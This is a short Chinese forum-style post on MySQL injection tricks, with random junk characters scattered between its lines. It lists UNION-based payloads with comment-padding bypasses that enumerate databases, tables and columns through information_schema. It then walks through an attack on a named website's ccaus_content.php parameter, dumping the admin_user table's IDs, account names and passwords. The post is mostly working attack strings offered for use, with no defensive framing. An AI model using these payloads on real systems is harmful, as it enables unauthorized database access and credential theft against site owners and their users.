mysql注入技巧

admin

查库

+ N6 G4 I5 B* h& L6 _' L; h( Uid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*
; Y; Z, u9 M, b" l4 V' o+ Z
2 O4 V; m' y" l查表

6 D+ S7 ?  ]. _& F* u8 ~) T; lid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
8 T7 U7 @, N" b1 I
查段
; _; B6 i/ w$ ^4 L6 R( }/ b
$ g: o4 I9 x4 w- bid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
. Q' e7 w& {! N' b
, B' z+ n4 l, M8 p- M
mysql5高级注入方法暴表

例子如下:

1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
' ?9 h$ o! m) K* R% H; A) F) D这样爆到第4个时出现了admin_user表。

2.暴字段
) {) r/ Q2 |$ @4 ~3 Dhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

" W3 [2 `  ]- D7 {) \
3 o- s' B/ T/ |0 t' z6 l3.爆密码
+ E8 ^+ A# W6 |1 e6 f8 xhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
% w2 ^  y$ N- |$ g% f4 O5 u